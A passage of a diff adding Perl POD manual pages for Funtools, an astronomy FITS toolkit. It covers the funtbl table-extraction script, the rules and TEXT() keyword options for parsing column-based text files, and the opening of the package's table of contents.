|
||||
FunFlush() to write out the FITS
|
||||
binary table padding. However, this is not necessary if you
|
||||
subsequently call FunClose() without doing any other I/O to the FITS
|
||||
file.
|
||||
|
||||
|
||||
Note that FunTableRowPut() also can be called as FunEventsPut(), for
|
||||
backward compatibility.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,137 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funtbl - extract a table from Funtools ASCII output>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funtable [-c cols] [-h] [-n table] [-p prog] [-s sep] <iname>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
[NB: This program has been deprecated in favor of the ASCII text processing
|
||||
support in funtools. You can now perform fundisp on funtools ASCII output
|
||||
files (specifying the table using bracket notation) to extract tables
|
||||
and columns.]
|
||||
|
||||
The B<funtbl> script extracts a specified table (without the
|
||||
header and comments) from a funtools ASCII output file and writes the
|
||||
result to the standard output. The first non-switch argument is the
|
||||
ASCII input file name (i.e. the saved output from funcnts, fundisp,
|
||||
funhist, etc.). If no filename is specified, stdin is read. The
|
||||
-n switch specifies which table (starting from 1) to extract. The
|
||||
default is to extract the first table. The -c switch is a
|
||||
space-delimited list of column numbers to output, e.g. -c "1 3 5"
|
||||
will extract the first three odd-numbered columns. The default is to
|
||||
extract all columns. The -s switch specifies the separator string to
|
||||
put between columns. The default is a single space. The -h switch
|
||||
specifies that column names should be added in a header line before
|
||||
the data is output. Without the switch, no header is prepended. The
|
||||
-p program switch allows you to specify an awk-like program to run
|
||||
instead of the default (which is host-specific and is determined at
|
||||
build time). The -T switch will output the data in rdb format (i.e.,
|
||||
with a 2-row header of column names and dashes, and with data columns
|
||||
separated by tabs). The -help switch will print out a message
|
||||
describing program usage.
|
||||
|
||||
|
||||
For example, consider the output from the following funcnts command:
|
||||
|
||||
[sh] funcnts -sr snr.ev "ann 512 512 0 9 n=3"
|
||||
# source
|
||||
# data file: /proj/rd/data/snr.ev
|
||||
# arcsec/pixel: 8
|
||||
# background
|
||||
# constant value: 0.000000
|
||||
# column units
|
||||
# area: arcsec**2
|
||||
# surf_bri: cnts/arcsec**2
|
||||
# surf_err: cnts/arcsec**2
|
||||
|
||||
# summed background-subtracted results
|
||||
upto net_counts error background berror area surf_bri surf_err
|
||||
---- ------------ --------- ------------ --------- --------- --------- ---------
|
||||
1 147.000 12.124 0.000 0.000 1600.00 0.092 0.008
|
||||
2 625.000 25.000 0.000 0.000 6976.00 0.090 0.004
|
||||
3 1442.000 37.974 0.000 0.000 15936.00 0.090 0.002
|
||||
|
||||
|
||||
# background-subtracted results
|
||||
reg net_counts error background berror area surf_bri surf_err
|
||||
---- ------------ --------- ------------ --------- --------- --------- ---------
|
||||
1 147.000 12.124 0.000 0.000 1600.00 0.092 0.008
|
||||
2 478.000 21.863 0.000 0.000 5376.00 0.089 0.004
|
||||
3 817.000 28.583 0.000 0.000 8960.00 0.091 0.003
|
||||
|
||||
|
||||
# the following source and background components were used:
|
||||
source_region(s)
|
||||
----------------
|
||||
ann 512 512 0 9 n=3
|
||||
|
||||
reg counts pixels sumcnts sumpix
|
||||
---- ------------ --------- ------------ ---------
|
||||
1 147.000 25 147.000 25
|
||||
2 478.000 84 625.000 109
|
||||
3 817.000 140 1442.000 249
|
||||
|
||||
|
||||
There are four tables in this output. To extract the last one, you
|
||||
can execute:
|
||||
|
||||
[sh] funcnts -s snr.ev "ann 512 512 0 9 n=3" | funtbl -n 4
|
||||
1 147.000 25 147.000 25
|
||||
2 478.000 84 625.000 109
|
||||
3 817.000 140 1442.000 249
|
||||
|
||||
Note that the output has been re-formatted so that only a single space
|
||||
separates each column, with no extraneous header or comment information.
|
||||
|
||||
|
||||
To extract only columns 1,2, and 4 from the last example (but with a header
|
||||
prepended and tabs between columns), you can execute:
|
||||
|
||||
[sh] funcnts -s snr.ev "ann 512 512 0 9 n=3" | funtbl -c "1 2 4" -h -n 4 -s "\t"
|
||||
#reg counts sumcnts
|
||||
1 147.000 147.000
|
||||
2 478.000 625.000
|
||||
3 817.000 1442.000
|
||||
|
||||
|
||||
Of course, if the output has previously been saved in a file named
|
||||
foo.out, the same result can be obtained by executing:
|
||||
|
||||
[sh] funtbl -c "1 2 4" -h -n 4 -s "\t" foo.out
|
||||
#reg counts sumcnts
|
||||
1 147.000 147.000
|
||||
2 478.000 625.000
|
||||
3 817.000 1442.000
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,718 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<Funtext: Support for Column-based Text Files>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This document contains a summary of the options for processing column-based
|
||||
text files.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Funtools will automatically sense and process "standard"
|
||||
column-based text files as if they were FITS binary tables without any
|
||||
change in Funtools syntax. In particular, you can filter text files
|
||||
using the same syntax as FITS binary tables:
|
||||
|
||||
fundisp foo.txt'[cir 512 512 .1]'
|
||||
fundisp -T foo.txt > foo.rdb
|
||||
funtable foo.txt'[pha=1:10,cir 512 512 10]' foo.fits
|
||||
|
||||
|
||||
|
||||
The first example displays a filtered selection of a text file. The
|
||||
second example converts a text file to an RDB file. The third example
|
||||
converts a filtered selection of a text file to a FITS binary table.
|
||||
|
||||
|
||||
Text files can also be used in Funtools image programs. In this case,
|
||||
you must provide binning parameters (as with raw event files), using
|
||||
the bincols keyword specifier:
|
||||
|
||||
|
||||
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]
|
||||
|
||||
|
||||
For example:
|
||||
|
||||
funcnts foo'[bincols=(x:1024,y:1024)]' "ann 512 512 0 10 n=10"
|
||||
|
||||
|
||||
B<Standard Text Files>
|
||||
|
||||
|
||||
Standard text files have the following characteristics:
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Optional comment lines start with #
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Optional blank lines are considered comments
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
An optional table header consists of the following (in order):
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
a single line of alpha-numeric column names
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
an optional line of unit strings containing the same number of cols
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
an optional line of dashes containing the same number of cols
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Data lines follow the optional header and (for the present) consist of
|
||||
the same number of columns as the header.
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Standard delimiters such as space, tab, comma, semi-colon, and bar.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
Examples:
|
||||
|
||||
|
||||
# rdb file
|
||||
foo1 foo2 foo3 foos
|
||||
---- ---- ---- ----
|
||||
1 2.2 3 xxxx
|
||||
10 20.2 30 yyyy
|
||||
|
||||
# multiple consecutive whitespace and dashes
|
||||
foo1 foo2 foo3 foos
|
||||
--- ---- ---- ----
|
||||
1 2.2 3 xxxx
|
||||
10 20.2 30 yyyy
|
||||
|
||||
# comma delims and blank lines
|
||||
foo1,foo2,foo3,foos
|
||||
|
||||
1,2.2,3,xxxx
|
||||
10,20.2,30,yyyy
|
||||
|
||||
# bar delims with null values
|
||||
foo1|foo2|foo3|foos
|
||||
1||3|xxxx
|
||||
10|20.2||yyyy
|
||||
|
||||
# header-less data
|
||||
1 2.2 3 xxxx
|
||||
10 20.2 30 yyyy
|
||||
|
||||
|
||||
|
||||
The default set of token delimiters consists of spaces, tabs, commas,
|
||||
semi-colons, and vertical bars. Several parsers are used
|
||||
simultaneously to analyze a line of text in different ways. One way
|
||||
of analyzing a line is to allow a combination of spaces, tabs, and
|
||||
commas to be squashed into a single delimiter (no null values between
|
||||
consecutive delimiters). Another way is to allow tab, semi-colon, and
|
||||
vertical bar delimiters to support null values, i.e. two consecutive
|
||||
delimiters implies a null value (e.g. RDB file). A successful parser
|
||||
is one which returns a consistent number of columns for all rows, with
|
||||
each column having a consistent data type. More than one parser can
|
||||
be successful. For now, it is assumed that successful parsers all
|
||||
return the same tokens for a given line. (Theoretically, there are
|
||||
pathological cases, which will be taken care of as needed). Bad parsers
|
||||
are discarded on the fly.
|
||||
|
||||
|
||||
If the header does not exist, then names "col1", "col2", etc. are
|
||||
assigned to the columns to allow filtering. Furthermore, data types
|
||||
for each column are determined by the data types found in the columns
|
||||
of the first data line, and can be one of the following: string, int,
|
||||
and double. Thus, all of the above examples return the following
|
||||
display:
|
||||
|
||||
fundisp foo'[foo1>5]'
|
||||
FOO1 FOO2 FOO3 FOOS
|
||||
---------- --------------------- ---------- ------------
|
||||
10 20.20000000 30 yyyy
|
||||
|
||||
|
||||
B<Comments Convert to Header Params>
|
||||
|
||||
|
||||
Comments which precede data rows are converted into header parameters and
|
||||
will be written out as such using funimage or funhead. Two styles of comments
|
||||
are recognized:
|
||||
|
||||
|
||||
1. FITS-style comments have an equal sign "=" between the keyword and
|
||||
value and an optional slash "/" to signify a comment. The strict FITS
|
||||
rules on column positions are not enforced. In addition, strings only
|
||||
need to be quoted if they contain whitespace. For example, the following
|
||||
are valid FITS-style comments:
|
||||
|
||||
|
||||
# fits0 = 100
|
||||
# fits1 = /usr/local/bin
|
||||
# fits2 = "/usr/local/bin /opt/local/bin"
|
||||
# fits3c = /usr/local/bin /opt/local/bin /usr/bin
|
||||
# fits4c = "/usr/local/bin /opt/local/bin" / path dir
|
||||
|
||||
|
||||
Note that the fits3c comment is not quoted and therefore its value is the
|
||||
single token "/usr/local/bin" and the comment is "opt/local/bin /usr/bin".
|
||||
This is different from the quoted comment in fits4c.
|
||||
|
||||
|
||||
2. Free-form comments can have an optional colon separator between the
|
||||
keyword and value. In the absence of quote, all tokens after the
|
||||
keyword are part of the value, i.e. no comment is allowed. If a string
|
||||
is quoted, then slash "/" after the string will signify a comment.
|
||||
For example:
|
||||
|
||||
|
||||
# com1 /usr/local/bin
|
||||
# com2 "/usr/local/bin /opt/local/bin"
|
||||
# com3 /usr/local/bin /opt/local/bin /usr/bin
|
||||
# com4c "/usr/local/bin /opt/local/bin" / path dir
|
||||
|
||||
# com11: /usr/local/bin
|
||||
# com12: "/usr/local/bin /opt/local/bin"
|
||||
# com13: /usr/local/bin /opt/local/bin /usr/bin
|
||||
# com14c: "/usr/local/bin /opt/local/bin" / path dir
|
||||
|
||||
|
||||
|
||||
Note that com3 and com13 are not quoted, so the whole string is part of
|
||||
the value, while comz4c and com14c are quoted and have comments following
|
||||
the values.
|
||||
|
||||
|
||||
Some text files have column name and data type information in the header.
|
||||
You can specify the format of column information contained in the
|
||||
header using the "hcolfmt=" specification. See below for a detailed
|
||||
description.
|
||||
|
||||
B<Multiple Tables in a Single File>
|
||||
|
||||
|
||||
Multiple tables are supported in a single file. If an RDB-style file
|
||||
is sensed, then a ^L (vertical tab) will signify end of
|
||||
table. Otherwise, an end of table is sensed when a new header (i.e.,
|
||||
all alphanumeric columns) is found. (Note that this heuristic does not
|
||||
work for single column tables where the column type is ASCII and the
|
||||
table that follows also has only one column.) You also can specify
|
||||
characters that signal an end of table condition using the B<eot=>
|
||||
keyword. See below for details.
|
||||
|
||||
|
||||
You can access the nth table (starting from 1) in a multi-table file
|
||||
by enclosing the table number in brackets, as with a FITS extension:
|
||||
|
||||
|
||||
fundisp foo'[2]'
|
||||
|
||||
The above example will display the second table in the file.
|
||||
(Index values start at 1 in oder to maintain logical compatibility
|
||||
with FITS files, where extension numbers also start at 1).
|
||||
|
||||
|
||||
B<TEXT() Specifier>
|
||||
|
||||
|
||||
As with ARRAY() and EVENTS() specifiers for raw image arrays and raw
|
||||
event lists respectively, you can use TEXT() on text files to pass
|
||||
key=value options to the parsers. An empty set of keywords is
|
||||
equivalent to not having TEXT() at all, that is:
|
||||
|
||||
|
||||
fundisp foo
|
||||
fundisp foo'[TEXT()]'
|
||||
|
||||
|
||||
are equivalent. A multi-table index number is placed before the TEXT()
|
||||
specifier as the first token, when indexing into a multi-table:
|
||||
|
||||
fundisp foo'[2,TEXT(...)]'
|
||||
|
||||
|
||||
The filter specification is placed after the TEXT() specifier, separated
|
||||
by a comma, or in an entirely separate bracket:
|
||||
|
||||
|
||||
fundisp foo'[TEXT(...),circle 512 512 .1]'
|
||||
fundisp foo'[2,TEXT(...)][circle 512 512 .1]'
|
||||
|
||||
|
||||
B<Text() Keyword Options>
|
||||
|
||||
|
||||
The following is a list of keywords that can be used within the TEXT()
|
||||
specifier (the first three are the most important):
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
delims="[delims]"
|
||||
|
||||
|
||||
Specify token delimiters for this file. Only a single parser having these
|
||||
delimiters will be used to process the file.
|
||||
|
||||
fundisp foo.fits'[TEXT(delims="!")]'
|
||||
fundisp foo.fits'[TEXT(delims="\t%")]'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
comchars="[comchars]"
|
||||
|
||||
|
||||
Specify comment characters. You must include "\n" to allow blank lines.
|
||||
These comment characters will be used for all standard parsers (unless delims
|
||||
are also specified).
|
||||
|
||||
fundisp foo.fits'[TEXT(comchars="!\n")]'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
cols="[name1:type1 ...]"
|
||||
|
||||
|
||||
Specify names and data type of columns. This overrides header
|
||||
names and/or data types in the first data row or default names and
|
||||
data types for header-less tables.
|
||||
|
||||
fundisp foo.fits'[TEXT(cols="x:I,y:I,pha:I,pi:I,time:D,dx:E,dy:e")]'
|
||||
|
||||
|
||||
If the column specifier is the only keyword, then the cols= is not
|
||||
required (in analogy with EVENTS()):
|
||||
|
||||
fundisp foo.fits'[TEXT(x:I,y:I,pha:I,pi:I,time:D,dx:E,dy:e)]'
|
||||
|
||||
Of course, an index is allowed in this case:
|
||||
|
||||
fundisp foo.fits'[2,TEXT(x:I,y:I,pha:I,pi:I,time:D,dx:E,dy:e)]'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
eot="[eot delim]"
|
||||
|
||||
|
||||
Specify end of table string specifier for multi-table files. RDB
|
||||
files support ^L. The end of table specifier is a string and the whole
|
||||
string must be found alone on a line to signify EOT. For example:
|
||||
|
||||
fundisp foo.fits'[TEXT(eot="END")]'
|
||||
|
||||
will end the table when a line contains "END" is found. Multiple lines
|
||||
are supported, so that:
|
||||
|
||||
fundisp foo.fits'[TEXT(eot="END\nGAME")]'
|
||||
|
||||
will end the table when a line contains "END" followed by a line
|
||||
containing "GAME".
|
||||
|
||||
In the absence of an EOT delimiter, a new table will be sensed when a new
|
||||
header (all alphanumeric columns) is found.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
null1="[datatype]"
|
||||
|
||||
|
||||
Specify data type of a single null value in row 1.
|
||||
Since column data types are determined by the first row, a null value
|
||||
in that row will result in an error and a request to specify names and
|
||||
data types using cols=. If you only have a one null in row 1, you don't
|
||||
need to specify all names and columns. Instead, use null1="type" to
|
||||
specify its data type.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
alen=[n]
|
||||
|
||||
|
||||
Specify size in bytes for ASCII type columns.
|
||||
FITS binary tables only support fixed length ASCII columns, so a
|
||||
size value must be specified. The default is 16 bytes.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
nullvalues=["true"|"false"]
|
||||
|
||||
|
||||
Specify whether to expect null values.
|
||||
Give the parsers a hint as to whether null values should be allowed. The
|
||||
default is to try to determine this from the data.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
whitespace=["true"|"false"]
|
||||
|
||||
|
||||
Specify whether surrounding white space should be kept as part of
|
||||
string tokens. By default surrounding white space is removed from
|
||||
tokens.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
header=["true"|"false"]
|
||||
|
||||
|
||||
Specify whether to require a header. This is needed by tables
|
||||
containing all string columns (and with no row containing dashes), in
|
||||
order to be able to tell whether the first row is a header or part of
|
||||
the data. The default is false, meaning that the first row will be
|
||||
data. If a row dashes are present, the previous row is considered the
|
||||
column name row.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
units=["true"|"false"]
|
||||
|
||||
|
||||
Specify whether to require a units line.
|
||||
Give the parsers a hint as to whether a row specifying units should be
|
||||
allowed. The default is to try to determine this from the data.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
i2f=["true"|"false"]
|
||||
|
||||
|
||||
Specify whether to allow int to float conversions.
|
||||
If a column in row 1 contains an integer value, the data type for that
|
||||
column will be set to int. If a subsequent row contains a float in
|
||||
that same column, an error will be signaled. This flag specifies that,
|
||||
instead of an error, the float should be silently truncated to
|
||||
int. Usually, you will want an error to be signaled, so that you can
|
||||
specify the data type using cols= (or by changing the value of
|
||||
the column in row 1).
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
comeot=["true"|"false"|0|1|2]
|
||||
|
||||
|
||||
Specify whether comment signifies end of table.
|
||||
If comeot is 0 or false, then comments do not signify end of table and
|
||||
can be interspersed with data rows. If the value is true or 1 (the
|
||||
default for standard parsers), then non-blank lines (e.g. lines
|
||||
beginning with '#') signify end of table but blanks are allowed
|
||||
between rows. If the value is 2, then all comments, including blank
|
||||
lines, signify end of table.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
lazyeot=["true"|"false"]
|
||||
|
||||
|
||||
Specify whether "lazy" end of table should be permitted (default is
|
||||
true for standard formats, except rdb format where explicit ^L is required
|
||||
between tables). A lazy EOT can occur when a new table starts directly
|
||||
after an old one, with no special EOT delimiter. A check for this EOT
|
||||
condition is begun when a given row contains all string tokens. If, in
|
||||
addition, there is a mismatch between the number of tokens in the
|
||||
previous row and this row, or a mismatch between the number of string
|
||||
tokens in the prev row and this row, a new table is assumed to have
|
||||
been started. For example:
|
||||
|
||||
ival1 sval3
|
||||
----- -----
|
||||
1 two
|
||||
3 four
|
||||
|
||||
jval1 jval2 tval3
|
||||
----- ----- ------
|
||||
10 20 thirty
|
||||
40 50 sixty
|
||||
|
||||
Here the line "jval1 ..." contains all string tokens. In addition,
|
||||
the number of tokens in this line (3) differs from the number of
|
||||
tokens in the previous line (2). Therefore a new table is assumed
|
||||
to have started. Similarly:
|
||||
|
||||
ival1 ival2 sval3
|
||||
----- ----- -----
|
||||
1 2 three
|
||||
4 5 six
|
||||
|
||||
jval1 jval2 tval3
|
||||
----- ----- ------
|
||||
10 20 thirty
|
||||
40 50 sixty
|
||||
|
||||
Again, the line "jval1 ..." contains all string tokens. The number of
|
||||
string tokens in the previous row (1) differs from the number of
|
||||
tokens in the current row(3). We therefore assume a new table as been
|
||||
started. This lazy EOT test is not performed if lazyeot is explicitly
|
||||
set to false.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
hcolfmt=[header column format]
|
||||
|
||||
|
||||
Some text files have column name and data type information in the header.
|
||||
For example, VizieR catalogs have headers containing both column names
|
||||
and data types:
|
||||
|
||||
#Column e_Kmag (F6.3) ?(k_msigcom) K total magnitude uncertainty (4) [ucd=ERROR]
|
||||
#Column Rflg (A3) (rd_flg) Source of JHK default mag (6) [ucd=REFER_CODE]
|
||||
#Column Xflg (I1) [0,2] (gal_contam) Extended source contamination (10) [ucd=CODE_MISC]
|
||||
|
||||
|
||||
while Sextractor files have headers containing column names alone:
|
||||
|
||||
|
||||
# 1 X_IMAGE Object position along x [pixel]
|
||||
# 2 Y_IMAGE Object position along y [pixel]
|
||||
# 3 ALPHA_J2000 Right ascension of barycenter (J2000) [deg]
|
||||
# 4 DELTA_J2000 Declination of barycenter (J2000) [deg]
|
||||
|
||||
The hcolfmt specification allows you to describe which header lines
|
||||
contain column name and data type information. It consists of a string
|
||||
defining the format of the column line, using "$col" (or "$name") to
|
||||
specify placement of the column name, "$fmt" to specify placement of the
|
||||
data format, and "$skip" to specify tokens to ignore. You also can
|
||||
specify tokens explicitly (or, for those users familiar with how
|
||||
sscanf works, you can specify scanf skip specifiers using "%*").
|
||||
For example, the VizieR hcolfmt above might be specified in several ways:
|
||||
|
||||
Column $col ($fmt) # explicit specification of "Column" string
|
||||
$skip $col ($fmt) # skip one token
|
||||
%*s $col ($fmt) # skip one string (using scanf format)
|
||||
|
||||
while the Sextractor format might be specified using:
|
||||
|
||||
$skip $col # skip one token
|
||||
%*d $col # skip one int (using scanf format)
|
||||
|
||||
You must ensure that the hcolfmt statement only senses actual column
|
||||
definitions, with no false positives or negatives. For example, the
|
||||
first Sextractor specification, "$skip $col", will consider any header
|
||||
line containing two tokens to be a column name specifier, while the
|
||||
second one, "%*d $col", requires an integer to be the first token. In
|
||||
general, it is preferable to specify formats as explicitly as
|
||||
possible.
|
||||
|
||||
|
||||
Note that the VizieR-style header info is sensed automatically by the
|
||||
funtools standard VizieR-like parser, using the hcolfmt "Column $col
|
||||
($fmt)". There is no need for explicit use of hcolfmt in this case.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
debug=["true"|"false"]
|
||||
|
||||
|
||||
Display debugging information during parsing.
|
||||
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
B<Environment Variables>
|
||||
|
||||
|
||||
Environment variables are defined to allow many of these TEXT() values to be
|
||||
set without having to include them in TEXT() every time a file is processed:
|
||||
|
||||
|
||||
keyword environment variable
|
||||
------- --------------------
|
||||
delims TEXT_DELIMS
|
||||
comchars TEXT_COMCHARS
|
||||
cols TEXT_COLUMNS
|
||||
eot TEXT_EOT
|
||||
null1 TEXT_NULL1
|
||||
alen TEXT_ALEN
|
||||
bincols TEXT_BINCOLS
|
||||
hcolfmt TEXT_HCOLFMT
|
||||
|
||||
|
||||
B<Restrictions and Problems>
|
||||
|
||||
|
||||
As with raw event files, the '+' (copy extensions) specifier is not
|
||||
supported for programs such as funtable.
|
||||
|
||||
|
||||
String to int and int to string data conversions are allowed by the
|
||||
text parsers. This is done more by force of circumstance than by
|
||||
conviction: these transitions often happens with VizieR catalogs,
|
||||
which we want to support fully. One consequence of allowing these
|
||||
transitions is that the text parsers can get confused by columns which
|
||||
contain a valid integer in the first row and then switch to a
|
||||
string. Consider the following table:
|
||||
|
||||
xxx yyy zzz
|
||||
---- ---- ----
|
||||
111 aaa bbb
|
||||
ccc 222 ddd
|
||||
|
||||
The xxx column has an integer value in row one a string in row two,
|
||||
while the yyy column has the reverse. The parser will erroneously
|
||||
treat the first column as having data type int:
|
||||
|
||||
fundisp foo.tab
|
||||
XXX YYY ZZZ
|
||||
---------- ------------ ------------
|
||||
111 'aaa' 'bbb'
|
||||
1667457792 '222' 'ddd'
|
||||
|
||||
while the second column is processed correctly. This situation can be avoided
|
||||
in any number of ways, all of which force the data type of the first column
|
||||
to be a string. For example, you can edit the file and explicitly quote the
|
||||
first row of the column:
|
||||
|
||||
xxx yyy zzz
|
||||
---- ---- ----
|
||||
"111" aaa bbb
|
||||
ccc 222 ddd
|
||||
|
||||
[sh] fundisp foo.tab
|
||||
XXX YYY ZZZ
|
||||
------------ ------------ ------------
|
||||
'111' 'aaa' 'bbb'
|
||||
'ccc' '222' 'ddd'
|
||||
|
||||
You can edit the file and explicitly set the data type of the first column:
|
||||
|
||||
xxx:3A yyy zzz
|
||||
------ ---- ----
|
||||
111 aaa bbb
|
||||
ccc 222 ddd
|
||||
|
||||
[sh] fundisp foo.tab
|
||||
XXX YYY ZZZ
|
||||
------------ ------------ ------------
|
||||
'111' 'aaa' 'bbb'
|
||||
'ccc' '222' 'ddd'
|
||||
|
||||
You also can explicitly set the column names and data types of all columns,
|
||||
without editing the file:
|
||||
|
||||
[sh] fundisp foo.tab'[TEXT(xxx:3A,yyy:3A,zzz:3a)]'
|
||||
XXX YYY ZZZ
|
||||
------------ ------------ ------------
|
||||
'111' 'aaa' 'bbb'
|
||||
'ccc' '222' 'ddd'
|
||||
|
||||
The issue of data type transitions (which to allow and which to disallow)
|
||||
is still under discussion.
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,542 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<Funtools: FITS Users Need Tools>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
This document is the Table of Contents for Funtools.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
Funtools, is a "minimal buy-in" FITS library and utility package developed
|
||||
at the the High Energy Astrophysics Division of SAO. The Funtools
|
||||
library provides simplified access to a wide array of file types:
|
||||
standard astronomical FITS images and binary tables, raw arrays and
|
||||
binary event lists, and even tables of ASCII column data. A
|
||||
sophisticated region filtering library (compatible with ds9) filters
|
||||
images and tables using boolean operations between geometric shapes,
|
||||
support world coordinates, etc. Funtools also supports advanced
|
||||
capabilities such as optimized data searching using index files.
|
||||
|
||||
The main goal of the Funtools project has been to develop a minimal buy-in
|
||||
FITS library for researchers who are occasional (but serious) coders. In
|
||||
this case, "minimal buy-in" means "easy to learn, easy to use, and easy to
|
||||
re-learn next month". We have tried to achieve this goal by emphasizing two
|
||||
essential capabilities. The first is the ability to develop FITS programs
|
||||
without knowing much about FITS, i.e., without having to deal with the
|
||||
arcane rules for generating a properly formatted FITS file. The second is
|
||||
to support the use of already-familiar C/Unix facilities, especially C
|
||||
structs and Unix stdio. Taken together, these two capabilities should allow
|
||||
researchers to leverage their existing programming expertise while
|
||||
minimizing the need to learn new and complex coding rules.
|
||||
|
||||
|
||||
|
||||
|
||||
Choose from the following topics:
|
||||
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools User Programs
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funcalc: Funtools calculator (for binary tables)
|
||||
[funcalc(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funcen: find centroid (for binary tables)
|
||||
[funcen(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funcnts: count photons in specified regions
|
||||
[funcnts(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funcone: cone search on RA, Dec columns
|
||||
[funcone(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
fundisp: display data in a Funtools data file
|
||||
[fundisp(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funhead: display a header in a Funtools file
|
||||
[funhead(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funhist: create a 1D histogram of a column
|
||||
[funhist(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funimage: create a FITS image from a Funtools data file
|
||||
[funimage(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funindex: create an index on a column in a binary table
|
||||
[funindex(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funjoin: join two or more FITS binary tables on specified columns
|
||||
[funjoin(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funmerge: merge one or more Funtools table files
|
||||
[funmerge(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funsky: convert between image and sky coordinates, using WCS info from a FITS header
|
||||
[funsky(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funtable: copy selected rows from a Funtools file to a FITS binary table
|
||||
[funtable(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funtbl: extract a table from
|
||||
Funtools ASCII output
|
||||
[funtbl(1)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
funtools and ds9 image display
|
||||
[funds9(n)]
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools Programming
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools Programming Summary
|
||||
[funlib(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools Programming Tutorial
|
||||
[funlib(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
A Short Digression on Subroutine Order
|
||||
[funlib(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Compiling and Linking
|
||||
[funlib(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
The Funtools Reference Handle
|
||||
[funlib(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
The Funtools Programming Reference Manual
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
